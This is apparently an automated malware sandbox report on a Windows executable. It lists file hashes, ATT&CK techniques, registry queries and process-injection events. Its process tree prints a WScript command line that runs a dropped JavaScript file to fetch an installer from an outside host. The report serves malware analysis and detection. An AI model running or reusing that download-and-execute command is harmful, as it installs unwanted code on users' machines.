95646abda67b4ffa3e175cf767fc91245b7c40a07564afa1d8d255fb1dd69656

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
10/05/2024, 02:10

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General

Target

2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe
Size

184KB
MD5

2cd5121eb08d4bb5dc4b9974d2c24de1
SHA1

6813a07bf84ea680d0fbf269fcff0ecf572e1b5c
SHA256

95646abda67b4ffa3e175cf767fc91245b7c40a07564afa1d8d255fb1dd69656
SHA512

4858a4f9551029761478350f997b434e75dc5b9a7952dba3c6afb76d7d24cefa2f9c754dedbefa4dfb13dee6589b38c947677ba361fb46fa9c950728682ebc4f
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3u:/7BSH8zUB+nGESaaRvoB7FJNndnL

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	1168	WScript.exe
34	4808	WScript.exe
37	4808	WScript.exe
45	3568	WScript.exe
60	4640	WScript.exe
61	4640	WScript.exe
64	3976	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 1168	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	82
PID 3480 wrote to memory of 1168	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	82
PID 3480 wrote to memory of 1168	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	82
PID 3480 wrote to memory of 4808	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	95
PID 3480 wrote to memory of 4808	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	95
PID 3480 wrote to memory of 4808	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	95
PID 3480 wrote to memory of 3568	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	96
PID 3480 wrote to memory of 3568	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	96
PID 3480 wrote to memory of 3568	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	96
PID 3480 wrote to memory of 4640	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	99
PID 3480 wrote to memory of 4640	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	99
PID 3480 wrote to memory of 4640	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	99
PID 3480 wrote to memory of 3976	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	100
PID 3480 wrote to memory of 3976	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	100
PID 3480 wrote to memory of 3976	3480	2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2cd5121eb08d4bb5dc4b9974d2c24de1_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FB8.js" http://www.djapp.info/?domain=poiPYmxiqF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FB8.exe
  2⤵
  - Blocklisted process makes network request
  PID:1168
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FB8.js" http://www.djapp.info/?domain=poiPYmxiqF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FB8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4808
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FB8.js" http://www.djapp.info/?domain=poiPYmxiqF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FB8.exe
  2⤵
  - Blocklisted process makes network request
  PID:3568
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FB8.js" http://www.djapp.info/?domain=poiPYmxiqF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FB8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4640
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FB8.js" http://www.djapp.info/?domain=poiPYmxiqF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FB8.exe
  2⤵
  - Blocklisted process makes network request
  PID:3976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3FB8.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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